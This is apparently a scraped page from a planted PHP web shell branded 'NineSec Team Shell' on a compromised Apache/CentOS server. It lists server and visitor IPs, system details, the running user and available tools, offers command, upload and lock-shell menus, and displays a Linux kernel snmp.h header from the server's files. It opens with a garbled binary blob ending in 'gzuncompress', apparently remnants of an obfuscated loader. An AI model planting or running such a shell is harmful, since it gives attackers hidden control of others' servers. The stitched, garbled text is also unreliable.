%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.17.40
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/net/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/net/snmp.h
/*
 *
 *		SNMP MIB entries for the IP subsystem.
 *		
 *		Alan Cox <gw4pts@gw4pts.ampr.org>
 *
 *		We don't chose to implement SNMP in the kernel (this would
 *		be silly as SNMP is a pain in the backside in places). We do
 *		however need to collect the MIB statistics and export them
 *		out of /proc (eventually)
 *
 *		This program is free software; you can redistribute it and/or
 *		modify it under the terms of the GNU General Public License
 *		as published by the Free Software Foundation; either version
 *		2 of the License, or (at your option) any later version.
 *
 */
 
#ifndef _SNMP_H
#define _SNMP_H

#include <linux/cache.h>
#include <linux/snmp.h>
#include <linux/smp.h>

/*
 * Mibs are stored in array of unsigned long.
 */
/*
 * struct snmp_mib{}
 *  - list of entries for particular API (such as /proc/net/snmp)
 *  - name of entries.
 */
struct snmp_mib {
	const char *name;
	int entry;
};

#define SNMP_MIB_ITEM(_name,_entry)	{	\
	.name = _name,				\
	.entry = _entry,			\
}

#define SNMP_MIB_SENTINEL {	\
	.name = NULL,		\
	.entry = 0,		\
}

/*
 * We use unsigned longs for most mibs but u64 for ipstats.
 */
#include <linux/u64_stats_sync.h>

/* IPstats */
#define IPSTATS_MIB_MAX	__IPSTATS_MIB_MAX
struct ipstats_mib {
	/* mibs[] must be first field of struct ipstats_mib */
	u64		mibs[IPSTATS_MIB_MAX];
	struct u64_stats_sync syncp;
};

/* ICMP */
#define ICMP_MIB_MAX	__ICMP_MIB_MAX
struct icmp_mib {
	unsigned long	mibs[ICMP_MIB_MAX];
};

#define ICMPMSG_MIB_MAX	__ICMPMSG_MIB_MAX
struct icmpmsg_mib {
	atomic_long_t	mibs[ICMPMSG_MIB_MAX];
};

/* ICMP6 (IPv6-ICMP) */
#define ICMP6_MIB_MAX	__ICMP6_MIB_MAX
/* per network ns counters */
struct icmpv6_mib {
	unsigned long	mibs[ICMP6_MIB_MAX];
};
/* per device counters, (shared on all cpus) */
struct icmpv6_mib_device {
	atomic_long_t	mibs[ICMP6_MIB_MAX];
};

#define ICMP6MSG_MIB_MAX  __ICMP6MSG_MIB_MAX
/* per network ns counters */
struct icmpv6msg_mib {
	atomic_long_t	mibs[ICMP6MSG_MIB_MAX];
};
/* per device counters, (shared on all cpus) */
struct icmpv6msg_mib_device {
	atomic_long_t	mibs[ICMP6MSG_MIB_MAX];
};


/* TCP */
#define TCP_MIB_MAX	__TCP_MIB_MAX
struct tcp_mib {
	unsigned long	mibs[TCP_MIB_MAX];
};

/* UDP */
#define UDP_MIB_MAX	__UDP_MIB_MAX
struct udp_mib {
	unsigned long	mibs[UDP_MIB_MAX];
};

/* Linux */
#define LINUX_MIB_MAX	__LINUX_MIB_MAX
struct linux_mib {
	unsigned long	mibs[LINUX_MIB_MAX];
};

/* Linux Xfrm */
#define LINUX_MIB_XFRMMAX	__LINUX_MIB_XFRMMAX
struct linux_xfrm_mib {
	unsigned long	mibs[LINUX_MIB_XFRMMAX];
};

#define SNMP_ARRAY_SZ 1

#define DEFINE_SNMP_STAT(type, name)	\
	__typeof__(type) __percpu *name[SNMP_ARRAY_SZ]
#define DEFINE_SNMP_STAT_ATOMIC(type, name)	\
	__typeof__(type) *name
#define DECLARE_SNMP_STAT(type, name)	\
	extern __typeof__(type) __percpu *name[SNMP_ARRAY_SZ]

#define SNMP_INC_STATS_BH(mib, field)	\
			__this_cpu_inc(mib[0]->mibs[field])

#define SNMP_INC_STATS_USER(mib, field)	\
			this_cpu_inc(mib[0]->mibs[field])

#define SNMP_INC_STATS_ATOMIC_LONG(mib, field)	\
			atomic_long_inc(&mib->mibs[field])

#define SNMP_INC_STATS(mib, field)	\
			this_cpu_inc(mib[0]->mibs[field])

#define SNMP_DEC_STATS(mib, field)	\
			this_cpu_dec(mib[0]->mibs[field])

#define SNMP_ADD_STATS_BH(mib, field, addend)	\
			__this_cpu_add(mib[0]->mibs[field], addend)

#define SNMP_ADD_STATS_USER(mib, field, addend)	\
			this_cpu_add(mib[0]->mibs[field], addend)

#define SNMP_ADD_STATS(mib, field, addend)	\
			this_cpu_add(mib[0]->mibs[field], addend)
/*
 * Use "__typeof__(*mib[0]) *ptr" instead of "__typeof__(mib[0]) ptr"
 * to make @ptr a non-percpu pointer.
 */
#define SNMP_UPD_PO_STATS(mib, basefield, addend)	\
	do { \
		__typeof__(*mib[0]->mibs) *ptr = mib[0]->mibs;	\
		this_cpu_inc(ptr[basefield##PKTS]);		\
		this_cpu_add(ptr[basefield##OCTETS], addend);	\
	} while (0)
#define SNMP_UPD_PO_STATS_BH(mib, basefield, addend)	\
	do { \
		__typeof__(*mib[0]->mibs) *ptr = mib[0]->mibs;	\
		__this_cpu_inc(ptr[basefield##PKTS]);		\
		__this_cpu_add(ptr[basefield##OCTETS], addend);	\
	} while (0)


#if BITS_PER_LONG==32

#define SNMP_ADD_STATS64_BH(mib, field, addend) 			\
	do {								\
		__typeof__(*mib[0]) *ptr = __this_cpu_ptr((mib)[0]);	\
		u64_stats_update_begin(&ptr->syncp);			\
		ptr->mibs[field] += addend;				\
		u64_stats_update_end(&ptr->syncp);			\
	} while (0)

#define SNMP_ADD_STATS64_USER(mib, field, addend) 			\
	do {								\
		local_bh_disable();					\
		SNMP_ADD_STATS64_BH(mib, field, addend);		\
		local_bh_enable();					\
	} while (0)

#define SNMP_ADD_STATS64(mib, field, addend)				\
		SNMP_ADD_STATS64_USER(mib, field, addend)

#define SNMP_INC_STATS64_BH(mib, field) SNMP_ADD_STATS64_BH(mib, field, 1)
#define SNMP_INC_STATS64_USER(mib, field) SNMP_ADD_STATS64_USER(mib, field, 1)
#define SNMP_INC_STATS64(mib, field) SNMP_ADD_STATS64(mib, field, 1)
#define SNMP_UPD_PO_STATS64_BH(mib, basefield, addend)			\
	do {								\
		__typeof__(*mib[0]) *ptr;				\
		ptr = __this_cpu_ptr((mib)[0]);				\
		u64_stats_update_begin(&ptr->syncp);			\
		ptr->mibs[basefield##PKTS]++;				\
		ptr->mibs[basefield##OCTETS] += addend;			\
		u64_stats_update_end(&ptr->syncp);			\
	} while (0)
#define SNMP_UPD_PO_STATS64(mib, basefield, addend)			\
	do {								\
		local_bh_disable();					\
		SNMP_UPD_PO_STATS64_BH(mib, basefield, addend);		\
		local_bh_enable();					\
	} while (0)
#else
#define SNMP_INC_STATS64_BH(mib, field)		SNMP_INC_STATS_BH(mib, field)
#define SNMP_INC_STATS64_USER(mib, field)	SNMP_INC_STATS_USER(mib, field)
#define SNMP_INC_STATS64(mib, field)		SNMP_INC_STATS(mib, field)
#define SNMP_DEC_STATS64(mib, field)		SNMP_DEC_STATS(mib, field)
#define SNMP_ADD_STATS64_BH(mib, field, addend) SNMP_ADD_STATS_BH(mib, field, addend)
#define SNMP_ADD_STATS64_USER(mib, field, addend) SNMP_ADD_STATS_USER(mib, field, addend)
#define SNMP_ADD_STATS64(mib, field, addend)	SNMP_ADD_STATS(mib, field, addend)
#define SNMP_UPD_PO_STATS64(mib, basefield, addend) SNMP_UPD_PO_STATS(mib, basefield, addend)
#define SNMP_UPD_PO_STATS64_BH(mib, basefield, addend) SNMP_UPD_PO_STATS_BH(mib, basefield, addend)
#endif

#endif

NineSec Team - 2022